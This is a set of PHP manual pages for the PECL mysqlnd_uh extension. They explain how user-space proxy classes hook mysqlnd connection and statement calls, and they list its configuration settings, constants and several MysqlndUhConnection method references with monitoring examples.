User Contributed Notes

There are no user contributed notes for this page.


How it works

This describes the background and inner workings of the mysqlnd_uh extension.

Two classes are provided by the extension: MysqlndUhConnection and MysqlndUhPreparedStatement. MysqlndUhConnection lets you access almost all methods of the mysqlnd internal connection class. The latter exposes some selected methods of the mysqlnd internal statement class. For example, MysqlndUhConnection::connect() maps to the mysqlnd library C function mysqlnd_conn__connect.

As a mysqlnd plugin, the PECL/mysqlnd_uh extension replaces mysqlnd library C functions with its own functions. Whenever a PHP MySQL extension compiled to use mysqlnd calls a mysqlnd function, the functions installed by the plugin are executed instead of the original mysqlnd ones. For example, mysqli_connect() invokes mysqlnd_conn__connect, so the connect function installed by PECL/mysqlnd_uh will be called. The functions installed by PECL/mysqlnd_uh are the methods of the built-in classes.

The built-in PHP classes and their methods do nothing but call their mysqlnd C library counterparts, to behave exactly like the original mysqlnd function they replace. The code below illustrates in pseudo-code what the extension does.

Example #1 Pseudo-code: what a built-in class does

class MysqlndUhConnection {
  public function connect(($conn, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {
    MYSQLND* c_mysqlnd_connection = convert_from_php_to_c($conn);
    ...
    return call_c_function(mysqlnd_conn__connect(c_mysqlnd_connection, ...));
  }
}

The build-in classes behave like a transparent proxy. It is possible for you to replace the proxy with your own. This is done by subclassing MysqlndUhConnection or MysqlndUhPreparedStatement to extend the functionality of the proxy, followed by registering a new proxy object. Proxy objects are installed by mysqlnd_uh_set_connection_proxy() and mysqlnd_uh_set_statement_proxy().

Example #2 Installing a proxy

<?php
class proxy extends MysqlndUhConnection {
 public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
?>

The above example will output:

proxy::connect(array (
  0 => NULL,
  1 => 'localhost',
  2 => 'root',
  3 => '',
  4 => 'test',
  5 => 3306,
  6 => NULL,
  7 => 131072,
))
proxy::connect returns true

User Contributed Notes

There are no user contributed notes for this page.


Installing a proxy

The extension provides two built-in classes: MysqlndUhConnection and MysqlndUhPreparedStatement. The classes are used for hooking mysqlnd library calls. Their methods correspond to mysqlnd internal functions. By default they act like a transparent proxy and do nothing but call their mysqlnd counterparts. By subclassing the classes you can install your own proxy to monitor mysqlnd.

See also the How it works guide to learn about the inner workings of this extension.

Connection proxies are objects of the type MysqlndUhConnection. Connection proxy objects are installed by mysqlnd_uh_set_connection_proxy(). If you install the built-in class MysqlndUhConnection as a proxy, nothing happens. It behaves like a transparent proxy.

Example #1 Proxy registration, mysqlnd_uh.enable=1

<?php
mysqlnd_uh_set_connection_proxy(new MysqlndUhConnection());
$mysqli = new mysqli("localhost", "root", "", "test");
?>

The PHP_INI_SYSTEM configuration setting mysqlnd_uh.enable controls whether a proxy may be set. If disabled, the extension will throw errors of type E_WARNING

Example #2 Proxy installation disabled

mysqlnd_uh.enable=0
<?php
mysqlnd_uh_set_connection_proxy(new MysqlndUhConnection());
$mysqli = new mysqli("localhost", "root", "", "test");
?>

The above example will output:

PHP Warning:  MysqlndUhConnection::__construct(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enabled = false.  You must not use any of the base classes in %s on line %d
PHP Warning:  mysqlnd_uh_set_connection_proxy(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enable = false. The proxy has not been installed  in %s on line %d

To monitor mysqlnd, you have to write your own proxy object subclassing MysqlndUhConnection. Please, see the function reference for a the list of methods that can be subclassed. Alternatively, you can use reflection to inspect the built-in MysqlndUhConnection.

Create a new class proxy. Derive it from the built-in class MysqlndUhConnection. Replace the MysqlndUhConnection::connect(). method. Print out the host parameter value passed to the method. Make sure that you call the parent implementation of the connect method. Failing to do so may give unexpected and undesired results, including memory leaks and crashes.

Register your proxy and open three connections using the PHP MySQL extensions mysqli, mysql, PDO_MYSQL. If the extensions have been compiled to use the mysqlnd library, the proxy::connect method will be called three times, once for each connection opened.

Example #3 Connection proxy

<?php
class proxy extends MysqlndUhConnection {
  public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {
   printf("Connection opened to '%s'\n", $host);
   /* Always call the parent implementation! */
   return parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);
  }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysql = mysql_connect("localhost", "root", "");
$pdo = new PDO("mysql:host=localhost;dbname=test", "root", "");
?>

The above example will output:

Connection opened to 'localhost'
Connection opened to 'localhost'
Connection opened to 'localhost'

The use of prepared statement proxies follows the same pattern: create a proxy object of the type MysqlndUhPreparedStatement and install the proxy using mysqlnd_uh_set_statement_proxy().

Example #4 Prepared statement proxy

<?php
class stmt_proxy extends MysqlndUhPreparedStatement {
 public function prepare($res, $query) {
  printf("%s(%s)\n", __METHOD__, $query);
  return parent::prepare($res, $query);
 }
}
mysqlnd_uh_set_statement_proxy(new stmt_proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$stmt = $mysqli->prepare("SELECT 'mysqlnd hacking made easy' AS _msg FROM DUAL");
?>

The above example will output:

stmt_proxy::prepare(SELECT 'mysqlnd hacking made easy' AS _msg FROM DUAL)

User Contributed Notes

There are no user contributed notes for this page.


Basic query monitoring

Basic monitoring of a query statement is easy with PECL/mysqlnd_uh. Combined with debug_print_backtrace() it can become a powerful tool, for example, to find the origin of certain statement. This may be desired when searching for slow queries but also after database refactoring to find code still accessing deprecated databases or tables. The latter may be a complicated matter to do otherwise, especially if the application uses auto-generated queries.

Example #1 Basic Monitoring

<?php
class conn_proxy extends MysqlndUhConnection {
 public function query($res, $query) {
  debug_print_backtrace();
  return parent::query($res, $query);
 }
}
class stmt_proxy extends MysqlndUhPreparedStatement {
 public function prepare($res, $query) {
  debug_print_backtrace();
  return parent::prepare($res, $query);
 }
}
mysqlnd_uh_set_connection_proxy(new conn_proxy());
mysqlnd_uh_set_statement_proxy(new stmt_proxy());

printf("Proxies installed...\n");
$pdo = new PDO("mysql:host=localhost;dbname=test", "root", "");
var_dump($pdo->query("SELECT 1 AS _one FROM DUAL")->fetchAll(PDO::FETCH_ASSOC));

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->prepare("SELECT 1 AS _two FROM DUAL");
?>

The above example will output:

#0  conn_proxy->query(Resource id #19, SELECT 1 AS _one FROM DUAL)
#1  PDO->query(SELECT 1 AS _one FROM DUAL) called at [example.php:19]
array(1) {
  [0]=>
  array(1) {
    ["_one"]=>
    string(1) "1"
  }
}
#0  stmt_proxy->prepare(Resource id #753, SELECT 1 AS _two FROM DUAL)
#1  mysqli->prepare(SELECT 1 AS _two FROM DUAL) called at [example.php:22]

For basic query monitoring you should install a connection and a prepared statement proxy. The connection proxy should subclass MysqlndUhConnection::query(). All database queries not using native prepared statements will call this method. In the example the query function is invoked by a PDO call. By default, PDO_MySQL is using prepared statement emulation.

All native prepared statements are prepared with the prepare method of mysqlnd exported through MysqlndUhPreparedStatement::prepare(). Subclass MysqlndUhPreparedStatement and overwrite prepare for native prepared statement monitoring.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PHP 5.3.3 or later. It is recommended to use PHP 5.4.0 or later to get access to the latest mysqlnd features.

The mysqlnd_uh user handler plugin supports all PHP applications and all available PHP MySQL extensions (mysqli, mysql, PDO_MYSQL). The PHP MySQL extension must be configured to use mysqlnd in order to be able to use the mysqlnd_uh plugin for mysqlnd.

The alpha versions makes use of some mysqli features. You must enable mysqli to compile the plugin. This requirement may be removed in the future. Note, that this requirement does not restrict you to use the plugin only with mysqli. You can use the plugin to monitor mysql, mysqli and PDO_MYSQL.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mysqlnd-uh

PECL/mysqlnd_uh is currently not available on Windows. The source code of the extension makes use of C99 constructs not allowed with PHP Windows builds.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mysqlnd_uh Configure Options
Name | Default | Changeable | Changelog
mysqlnd_uh.enable | 1 | PHP_INI_SYSTEM |
mysqlnd_uh.report_wrong_types | 1 | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

mysqlnd_uh.enable integer

Enables or disables the plugin. If set to disabled, the extension will not allow users to plug into mysqlnd to hook mysqlnd calls.

mysqlnd_uh.report_wrong_types integer

Whether to report wrong return value types of user hooks as E_WARNING level errors. This is recommended for detecting errors.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Most of the constants refer to details of the MySQL Client Server Protocol. Please, refer to the MySQL reference manual to learn about their meaning. To avoid content duplication, only short descriptions are given.

MysqlndUhConnection::simpleCommand() related

The following constants can be used to detect what command is to be send through MysqlndUhConnection::simpleCommand().

MYSQLND_UH_MYSQLND_COM_SLEEP (integer)
MySQL Client Server protocol command: COM_SLEEP.
MYSQLND_UH_MYSQLND_COM_QUIT (integer)
MySQL Client Server protocol command: COM_QUIT.
MYSQLND_UH_MYSQLND_COM_INIT_DB (integer)
MySQL Client Server protocol command: COM_INIT_DB.
MYSQLND_UH_MYSQLND_COM_QUERY (integer)
MySQL Client Server protocol command: COM_QUERY.
MYSQLND_UH_MYSQLND_COM_FIELD_LIST (integer)
MySQL Client Server protocol command: COM_FIELD_LIST.
MYSQLND_UH_MYSQLND_COM_CREATE_DB (integer)
MySQL Client Server protocol command: COM_CREATE_DB.
MYSQLND_UH_MYSQLND_COM_DROP_DB (integer)
MySQL Client Server protocol command: COM_DROP_DB.
MYSQLND_UH_MYSQLND_COM_REFRESH (integer)
MySQL Client Server protocol command: COM_REFRESH.
MYSQLND_UH_MYSQLND_COM_SHUTDOWN (integer)
MySQL Client Server protocol command: COM_SHUTDOWN.
MYSQLND_UH_MYSQLND_COM_STATISTICS (integer)
MySQL Client Server protocol command: COM_STATISTICS.
MYSQLND_UH_MYSQLND_COM_PROCESS_INFO (integer)
MySQL Client Server protocol command: COM_PROCESS_INFO.
MYSQLND_UH_MYSQLND_COM_CONNECT (integer)
MySQL Client Server protocol command: COM_CONNECT.
MYSQLND_UH_MYSQLND_COM_PROCESS_KILL (integer)
MySQL Client Server protocol command: COM_PROCESS_KILL.
MYSQLND_UH_MYSQLND_COM_DEBUG (integer)
MySQL Client Server protocol command: COM_DEBUG.
MYSQLND_UH_MYSQLND_COM_PING (integer)
MySQL Client Server protocol command: COM_PING.
MYSQLND_UH_MYSQLND_COM_TIME (integer)
MySQL Client Server protocol command: COM_TIME.
MYSQLND_UH_MYSQLND_COM_DELAYED_INSERT (integer)
MySQL Client Server protocol command: COM_DELAYED_INSERT.
MYSQLND_UH_MYSQLND_COM_CHANGE_USER (integer)
MySQL Client Server protocol command: COM_CHANGE_USER.
MYSQLND_UH_MYSQLND_COM_BINLOG_DUMP (integer)
MySQL Client Server protocol command: COM_BINLOG_DUMP.
MYSQLND_UH_MYSQLND_COM_TABLE_DUMP (integer)
MySQL Client Server protocol command: COM_TABLE_DUMP.
MYSQLND_UH_MYSQLND_COM_CONNECT_OUT (integer)
MySQL Client Server protocol command: COM_CONNECT_OUT.
MYSQLND_UH_MYSQLND_COM_REGISTER_SLAVED (integer)
MySQL Client Server protocol command: COM_REGISTER_SLAVED.
MYSQLND_UH_MYSQLND_COM_STMT_PREPARE (integer)
MySQL Client Server protocol command: COM_STMT_PREPARE.
MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE (integer)
MySQL Client Server protocol command: COM_STMT_EXECUTE.
MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA (integer)
MySQL Client Server protocol command: COM_STMT_SEND_LONG_DATA.
MYSQLND_UH_MYSQLND_COM_STMT_CLOSE (integer)
MySQL Client Server protocol command: COM_STMT_CLOSE.
MYSQLND_UH_MYSQLND_COM_STMT_RESET (integer)
MySQL Client Server protocol command: COM_STMT_RESET.
MYSQLND_UH_MYSQLND_COM_SET_OPTION (integer)
MySQL Client Server protocol command: COM_SET_OPTION.
MYSQLND_UH_MYSQLND_COM_STMT_FETCH (integer)
MySQL Client Server protocol command: COM_STMT_FETCH.
MYSQLND_UH_MYSQLND_COM_DAEMON (integer)
MySQL Client Server protocol command: COM_DAEMON.
MYSQLND_UH_MYSQLND_COM_END (integer)
MySQL Client Server protocol command: COM_END.

The following constants can be used to analyze the ok_packet argument of MysqlndUhConnection::simpleCommand().

MYSQLND_UH_MYSQLND_PROT_GREET_PACKET (integer)
MySQL Client Server protocol packet: greeting.
MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET (integer)
MySQL Client Server protocol packet: authentication.
MYSQLND_UH_MYSQLND_PROT_OK_PACKET (integer)
MySQL Client Server protocol packet: OK.
MYSQLND_UH_MYSQLND_PROT_EOF_PACKET (integer)
MySQL Client Server protocol packet: EOF.
MYSQLND_UH_MYSQLND_PROT_CMD_PACKET (integer)
MySQL Client Server protocol packet: command.
MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET (integer)
MySQL Client Server protocol packet: result set header.
MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET (integer)
MySQL Client Server protocol packet: resultset field.
MYSQLND_UH_MYSQLND_PROT_ROW_PACKET (integer)
MySQL Client Server protocol packet: row.
MYSQLND_UH_MYSQLND_PROT_STATS_PACKET (integer)
MySQL Client Server protocol packet: stats.
MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET (integer)
MySQL Client Server protocol packet: prepare response.
MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET (integer)
MySQL Client Server protocol packet: change user response.
MYSQLND_UH_MYSQLND_PROT_LAST (integer)
No practical meaning. Last entry marker of internal C data structure list.

MysqlndUhConnection::close() related

The following constants can be used to detect why a connection has been closed through MysqlndUhConnection::close().

MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT (integer)
User has called mysqlnd to close the connection.
MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT (integer)
Implicitly closed, for example, during garbage connection.
MYSQLND_UH_MYSQLND_CLOSE_DISCONNECTED (integer)
Connection error.
MYSQLND_UH_MYSQLND_CLOSE_LAST (integer)
No practical meaning. Last entry marker of internal C data structure list.

MysqlndUhConnection::setServerOption() related

The following constants can be used to detect which option is set through MysqlndUhConnection::setServerOption().

MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON (integer)
Option: enables multi statement support.
MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_OFF (integer)
Option: disables multi statement support.

MysqlndUhConnection::setClientOption() related

The following constants can be used to detect which option is set through MysqlndUhConnection::setClientOption().

MYSQLND_UH_MYSQLND_OPTION_OPT_CONNECT_TIMEOUT (integer)
Option: connection timeout.
MYSQLND_UH_MYSQLND_OPTION_OPT_COMPRESS (integer)
Option: whether the MySQL compressed protocol is to be used.
MYSQLND_UH_MYSQLND_OPTION_OPT_NAMED_PIPE (integer)
Option: named pipe to use for connection (Windows).
MYSQLND_UH_MYSQLND_OPTION_INIT_COMMAND (integer)
Option: init command to execute upon connect.
MYSQLND_UH_MYSQLND_READ_DEFAULT_FILE (integer)
Option: MySQL server default file to read upon connect.
MYSQLND_UH_MYSQLND_READ_DEFAULT_GROUP (integer)
Option: MySQL server default file group to read upon connect.
MYSQLND_UH_MYSQLND_SET_CHARSET_DIR (integer)
Option: charset description files directory.
MYSQLND_UH_MYSQLND_SET_CHARSET_NAME (integer)
Option: charset name.
MYSQLND_UH_MYSQLND_OPT_LOCAL_INFILE (integer)
Option: Whether to allow LOAD DATA LOCAL INFILE use.
MYSQLND_UH_MYSQLND_OPT_PROTOCOL (integer)
Option: supported protocol version.
MYSQLND_UH_MYSQLND_SHARED_MEMORY_BASE_NAME (integer)
Option: shared memory base name for shared memory connections.
MYSQLND_UH_MYSQLND_OPT_READ_TIMEOUT (integer)
Option: connection read timeout.
MYSQLND_UH_MYSQLND_OPT_WRITE_TIMEOUT (integer)
Option: connection write timeout.
MYSQLND_UH_MYSQLND_OPT_USE_RESULT (integer)
Option: unbuffered result sets.
MYSQLND_UH_MYSQLND_OPT_USE_REMOTE_CONNECTION (integer)
Embedded server related.
MYSQLND_UH_MYSQLND_OPT_USE_EMBEDDED_CONNECTION (integer)
Embedded server related.
MYSQLND_UH_MYSQLND_OPT_GUESS_CONNECTION (integer)
TODO
MYSQLND_UH_MYSQLND_SET_CLIENT_IP (integer)
TODO
MYSQLND_UH_MYSQLND_SECURE_AUTH (integer)
TODO
MYSQLND_UH_MYSQLND_REPORT_DATA_TRUNCATION (integer)
Option: Whether to report data truncation.
MYSQLND_UH_MYSQLND_OPT_RECONNECT (integer)
Option: Whether to reconnect automatically.
MYSQLND_UH_MYSQLND_OPT_SSL_VERIFY_SERVER_CERT (integer)
Option: TODO
MYSQLND_UH_MYSQLND_OPT_NET_CMD_BUFFER_SIZE (integer)
Option: mysqlnd network buffer size for commands.
MYSQLND_UH_MYSQLND_OPT_NET_READ_BUFFER_SIZE (integer)
Option: mysqlnd network buffer size for reading from the server.
MYSQLND_UH_MYSQLND_OPT_SSL_KEY (integer)
Option: SSL key.
MYSQLND_UH_MYSQLND_OPT_SSL_CERT (integer)
Option: SSL certificate.
MYSQLND_UH_MYSQLND_OPT_SSL_CA (integer)
Option: SSL CA.
MYSQLND_UH_MYSQLND_OPT_SSL_CAPATH (integer)
Option: Path to SSL CA.
MYSQLND_UH_MYSQLND_OPT_SSL_CIPHER (integer)
Option: SSL cipher.
MYSQLND_UH_MYSQLND_OPT_SSL_PASSPHRASE (integer)
Option: SSL passphrase.
MYSQLND_UH_SERVER_OPTION_PLUGIN_DIR (integer)
Option: server plugin directory.
MYSQLND_UH_SERVER_OPTION_DEFAULT_AUTH (integer)
Option: default authentication method.
MYSQLND_UH_SERVER_OPTION_SET_CLIENT_IP (integer)
TODO
MYSQLND_UH_MYSQLND_OPT_MAX_ALLOWED_PACKET (integer)
Option: maximum allowed packet size. Available as of PHP 5.4.0.
MYSQLND_UH_MYSQLND_OPT_AUTH_PROTOCOL (integer)
Option: TODO. Available as of PHP 5.4.0.
MYSQLND_UH_MYSQLND_OPT_INT_AND_FLOAT_NATIVE (integer)
Option: make mysqlnd return integer and float columns as long even when using the MySQL Client Server text protocol. Only available with a custom build of mysqlnd.

Other

The plugins version number can be obtained using MYSQLND_UH_VERSION or MYSQLND_UH_VERSION_ID. MYSQLND_UH_VERSION is the string representation of the numerical version number MYSQLND_UH_VERSION_ID, which is an integer such as 10000. Developers can calculate the version number as follows.

Version (part) | Example
Major*10000 | 1*10000 = 10000
Minor*100 | 0*100 = 0
Patch | 0 = 0
MYSQLND_UH_VERSION_ID | 10000

MYSQLND_UH_VERSION (string)
Plugin version string, for example, "1.0.0-alpha".
MYSQLND_UH_VERSION_ID (integer)
Plugin version number, for example, 10000.

User Contributed Notes

There are no user contributed notes for this page.


The MysqlndUhConnection class

(PECL mysqlnd-uh >= 1.0.0-alpha)

Introduction

Class synopsis

MysqlndUhConnection {
/* Methods */
public bool changeUser ( mysqlnd_connection $connection , string $user , string $password , string $database , bool $silent , int $passwd_len )
public string charsetName ( mysqlnd_connection $connection )
public bool close ( mysqlnd_connection $connection , int $close_type )
public bool connect ( mysqlnd_connection $connection , string $host , string $use" , string $password , string $database , int $port , string $socket , int $mysql_flags )
public __construct ( void )
public bool endPSession ( mysqlnd_connection $connection )
public string escapeString ( mysqlnd_connection $connection , string $escape_string )
public int getAffectedRows ( mysqlnd_connection $connection )
public int getErrorNumber ( mysqlnd_connection $connection )
public string getErrorString ( mysqlnd_connection $connection )
public int getFieldCount ( mysqlnd_connection $connection )
public string getHostInformation ( mysqlnd_connection $connection )
public int getLastInsertId ( mysqlnd_connection $connection )
public void getLastMessage ( mysqlnd_connection $connection )
public string getProtocolInformation ( mysqlnd_connection $connection )
public string getServerInformation ( mysqlnd_connection $connection )
public string getServerStatistics ( mysqlnd_connection $connection )
public int getServerVersion ( mysqlnd_connection $connection )
public string getSqlstate ( mysqlnd_connection $connection )
public array getStatistics ( mysqlnd_connection $connection )
public int getThreadId ( mysqlnd_connection $connection )
public int getWarningCount ( mysqlnd_connection $connection )
public bool init ( mysqlnd_connection $connection )
public bool killConnection ( mysqlnd_connection $connection , int $pid )
public array listFields ( mysqlnd_connection $connection , string $table , string $achtung_wild )
public void listMethod ( mysqlnd_connection $connection , string $query , string $achtung_wild , string $par1 )
public bool moreResults ( mysqlnd_connection $connection )
public bool nextResult ( mysqlnd_connection $connection )
public bool ping ( mysqlnd_connection $connection )
public bool query ( mysqlnd_connection $connection , string $query )
public bool queryReadResultsetHeader ( mysqlnd_connection $connection , mysqlnd_statement $mysqlnd_stmt )
public bool reapQuery ( mysqlnd_connection $connection )
public bool refreshServer ( mysqlnd_connection $connection , int $options )
public bool restartPSession ( mysqlnd_connection $connection )
public bool selectDb ( mysqlnd_connection $connection , string $database )
public bool sendClose ( mysqlnd_connection $connection )
public bool sendQuery ( mysqlnd_connection $connection , string $query )
public bool serverDumpDebugInformation ( mysqlnd_connection $connection )
public bool setAutocommit ( mysqlnd_connection $connection , int $mode )
public bool setCharset ( mysqlnd_connection $connection , string $charset )
public bool setClientOption ( mysqlnd_connection $connection , int $option , int $value )
public void setServerOption ( mysqlnd_connection $connection , int $option )
public void shutdownServer ( string $MYSQLND_UH_RES_MYSQLND_NAME , string $"level" )
public bool simpleCommand ( mysqlnd_connection $connection , int $command , string $arg , int $ok_packet , bool $silent , bool $ignore_upsert_status )
public bool simpleCommandHandleResponse ( mysqlnd_connection $connection , int $ok_packet , bool $silent , int $command , bool $ignore_upsert_status )
public bool sslSet ( mysqlnd_connection $connection , string $key , string $cert , string $ca , string $capath , string $cipher )
public resource stmtInit ( mysqlnd_connection $connection )
public resource storeResult ( mysqlnd_connection $connection )
public bool txCommit ( mysqlnd_connection $connection )
public bool txRollback ( mysqlnd_connection $connection )
public resource useResult ( mysqlnd_connection $connection )
}

Table of Contents

  • MysqlndUhConnection::changeUser — Changes the user of the specified mysqlnd database connection
  • MysqlndUhConnection::charsetName — Returns the default character set for the database connection
  • MysqlndUhConnection::close — Closes a previously opened database connection
  • MysqlndUhConnection::connect — Open a new connection to the MySQL server
  • MysqlndUhConnection::__construct — The __construct purpose
  • MysqlndUhConnection::endPSession — End a persistent connection
  • MysqlndUhConnection::escapeString — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
  • MysqlndUhConnection::getAffectedRows — Gets the number of affected rows in a previous MySQL operation
  • MysqlndUhConnection::getErrorNumber — Returns the error code for the most recent function call
  • MysqlndUhConnection::getErrorString — Returns a string description of the last error
  • MysqlndUhConnection::getFieldCount — Returns the number of columns for the most recent query
  • MysqlndUhConnection::getHostInformation — Returns a string representing the type of connection used
  • MysqlndUhConnection::getLastInsertId — Returns the auto generated id used in the last query.
  • MysqlndUhConnection::getLastMessage — Retrieves information about the most recently executed query
  • MysqlndUhConnection::getProtocolInformation — Returns the version of the MySQL protocol used
  • MysqlndUhConnection::getServerInformation — Returns the version of the MySQL server
  • MysqlndUhConnection::getServerStatistics — Gets the current system status
  • MysqlndUhConnection::getServerVersion — Returns the version of the MySQL server as an integer
  • MysqlndUhConnection::getSqlstate — Returns the SQLSTATE error from previous MySQL operation
  • MysqlndUhConnection::getStatistics — Returns statistics about the client connection.
  • MysqlndUhConnection::getThreadId — Returns the thread ID for the current connection
  • MysqlndUhConnection::getWarningCount — Returns the number of warnings from the last query for the given link
  • MysqlndUhConnection::init — Initialize mysqlnd connection
  • MysqlndUhConnection::killConnection — Asks the server to kill a MySQL thread
  • MysqlndUhConnection::listFields — List MySQL table fields
  • MysqlndUhConnection::listMethod — Wrapper for assorted list commands
  • MysqlndUhConnection::moreResults — Check if there are any more query results from a multi query
  • MysqlndUhConnection::nextResult — Prepare next result from multi_query
  • MysqlndUhConnection::ping — Pings a server connection, or tries to reconnect if the connection has gone down
  • MysqlndUhConnection::query — Performs a query on the database
  • MysqlndUhConnection::queryReadResultsetHeader — Read a result set header
  • MysqlndUhConnection::reapQuery — Get result from async query
  • MysqlndUhConnection::refreshServer — Flush or reset tables and caches
  • MysqlndUhConnection::restartPSession — Restart a persistent mysqlnd connection
  • MysqlndUhConnection::selectDb — Selects the default database for database queries
  • MysqlndUhConnection::sendClose — Sends a close command to MySQL
  • MysqlndUhConnection::sendQuery — Sends a query to MySQL
  • MysqlndUhConnection::serverDumpDebugInformation — Dump debugging information into the log for the MySQL server
  • MysqlndUhConnection::setAutocommit — Turns on or off auto-committing database modifications
  • MysqlndUhConnection::setCharset — Sets the default client character set
  • MysqlndUhConnection::setClientOption — Sets a client option
  • MysqlndUhConnection::setServerOption — Sets a server option
  • MysqlndUhConnection::shutdownServer — The shutdownServer purpose
  • MysqlndUhConnection::simpleCommand — Sends a basic COM_* command
  • MysqlndUhConnection::simpleCommandHandleResponse — Process a response for a basic COM_* command send to the client
  • MysqlndUhConnection::sslSet — Used for establishing secure connections using SSL
  • MysqlndUhConnection::stmtInit — Initializes a statement and returns a resource for use with mysqli_statement::prepare
  • MysqlndUhConnection::storeResult — Transfers a result set from the last query
  • MysqlndUhConnection::txCommit — Commits the current transaction
  • MysqlndUhConnection::txRollback — Rolls back current transaction
  • MysqlndUhConnection::useResult — Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.


Changes the user of the specified mysqlnd database connection

  • « MysqlndUhConnection
  • MysqlndUhConnection::charsetName »
  • PHP Manual
  • MysqlndUhConnection
  • Changes the user of the specified mysqlnd database connection

MysqlndUhConnection::changeUser

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::changeUser — Changes the user of the specified mysqlnd database connection

Description

public bool MysqlndUhConnection::changeUser ( mysqlnd_connection $connection , string $user , string $password , string $database , bool $silent , int $passwd_len )

Changes the user of the specified mysqlnd database connection

Parameters

connection

Mysqlnd connection handle. Do not modify!

user

The MySQL user name.

password

The MySQL password.

database

The MySQL database to change to.

silent

Controls if mysqlnd is allowed to emit errors or not.

passwd_len

Length of the MySQL password.

Return Values

Returns TRUE on success. Otherwise, returns FALSE

Examples

Example #1 MysqlndUhConnection::changeUser() example

<?php
class proxy extends MysqlndUhConnection {
 /* Hook mysqlnd's connection::change_user call */
 public function changeUser($res, $user, $passwd, $db, $silent, $passwd_len) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::changeUser($res, $user, $passwd, $db, $silent, $passwd_len);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
/* Install proxy/hooks to be used with all future mysqlnd connection */
mysqlnd_uh_set_connection_proxy(new proxy());

/* Create mysqli connection which is using the mysqlnd library */
$mysqli = new mysqli("localhost", "root", "", "test");

/* Example of a user API call which triggers the hooked mysqlnd call */
var_dump($mysqli->change_user("root", "bar", "test"));
?>

The above example will output:

proxy::changeUser(array (
  0 => NULL,
  1 => 'root',
  2 => 'bar',
  3 => 'test',
  4 => false,
  5 => 3,
))
proxy::changeUser returns false
bool(false)

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_change_user() - Changes the user of the specified database connection

User Contributed Notes

There are no user contributed notes for this page.


Returns the default character set for the database connection

  • « MysqlndUhConnection::changeUser
  • MysqlndUhConnection::close »
  • PHP Manual
  • MysqlndUhConnection
  • Returns the default character set for the database connection

MysqlndUhConnection::charsetName

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::charsetName — Returns the default character set for the database connection

Description

public string MysqlndUhConnection::charsetName ( mysqlnd_connection $connection )

Returns the default character set for the database connection.

Parameters

connection

Mysqlnd connection handle. Do not modify!

Return Values

The default character set.

Examples

Example #1 MysqlndUhConnection::charsetName() example

<?php
class proxy extends MysqlndUhConnection {
  public function charsetName($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::charsetName($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump(mysqli_character_set_name($mysqli));
?>

The above example will output:

proxy::charsetName(array (
  0 => NULL,
))
proxy::charsetName returns 'latin1'
string(6) "latin1"

See Also

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_character_set_name() - Returns the default character set for the database connection

User Contributed Notes

There are no user contributed notes for this page.


Closes a previously opened database connection

  • « MysqlndUhConnection::charsetName
  • MysqlndUhConnection::connect »
  • PHP Manual
  • MysqlndUhConnection
  • Closes a previously opened database connection

MysqlndUhConnection::close

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::close — Closes a previously opened database connection

Description

public bool MysqlndUhConnection::close ( mysqlnd_connection $connection , int $close_type )

Closes a previously opened database connection.

Note:

Failing to call the parent implementation may cause memory leaks or crash PHP. This is not considered a bug. Please, keep in mind that the mysqlnd library functions have never been designed to be exposed to the user space.

Parameters

connection

The connection to be closed. Do not modify!

close_type

